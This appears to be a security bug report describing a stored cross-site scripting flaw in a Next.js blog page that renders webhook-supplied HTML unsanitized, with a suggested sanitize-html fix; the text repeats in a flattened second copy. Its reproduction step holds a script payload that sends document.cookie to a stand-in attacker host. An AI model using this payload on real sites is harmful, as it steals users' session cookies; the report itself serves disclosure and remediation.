Summary
apps/logicsrc-web/src/app/blog/[slug]/page.tsx line 117 renders blog post HTML directly via dangerouslySetInnerHTML={{ __html: post.html }} without any sanitization.
Impact
The post.html field is stored verbatim from the autoblog webhook (/api/webhooks/blog/route.ts). If the upstream blog source is compromised or the webhook secret is leaked, an attacker can inject arbitrary JavaScript that executes in every visitor's browser, including users with active CoinPay session cookies.
Steps to Reproduce
- Send a POST to
/api/webhooks/blog with a valid signature and a post containing:
<p>Hello</p><script>document.location='https://evil.example/?c='+document.cookie</script>
- Visit
/blog/<slug> — the script executes in the visitor's browser.
Suggested Fix
Add sanitize-html and sanitize post.html before rendering:
import sanitizeHtml from "sanitize-html";
// In the component:
const cleanHtml = sanitizeHtml(post.html, {
allowedTags: sanitizeHtml.defaults.allowedTags.concat(["img", "h1", "h2", "h3"]),
allowedAttributes: { ...sanitizeHtml.defaults.allowedAttributes, img: ["src", "alt", "width", "height"] },
});
// ...
dangerouslySetInnerHTML={{ __html: cleanHtml }}
Severity: Critical
Summary
apps/logicsrc-web/src/app/blog/[slug]/page.tsxline 117 renders blog post HTML directly viadangerouslySetInnerHTML={{ __html: post.html }}without any sanitization.Impact
The
post.htmlfield is stored verbatim from the autoblog webhook (/api/webhooks/blog/route.ts). If the upstream blog source is compromised or the webhook secret is leaked, an attacker can inject arbitrary JavaScript that executes in every visitor's browser, including users with active CoinPay session cookies.Steps to Reproduce
/api/webhooks/blogwith a valid signature and a post containing:/blog/<slug>— the script executes in the visitor's browser.Suggested Fix
Add
sanitize-htmland sanitizepost.htmlbefore rendering:Severity: Critical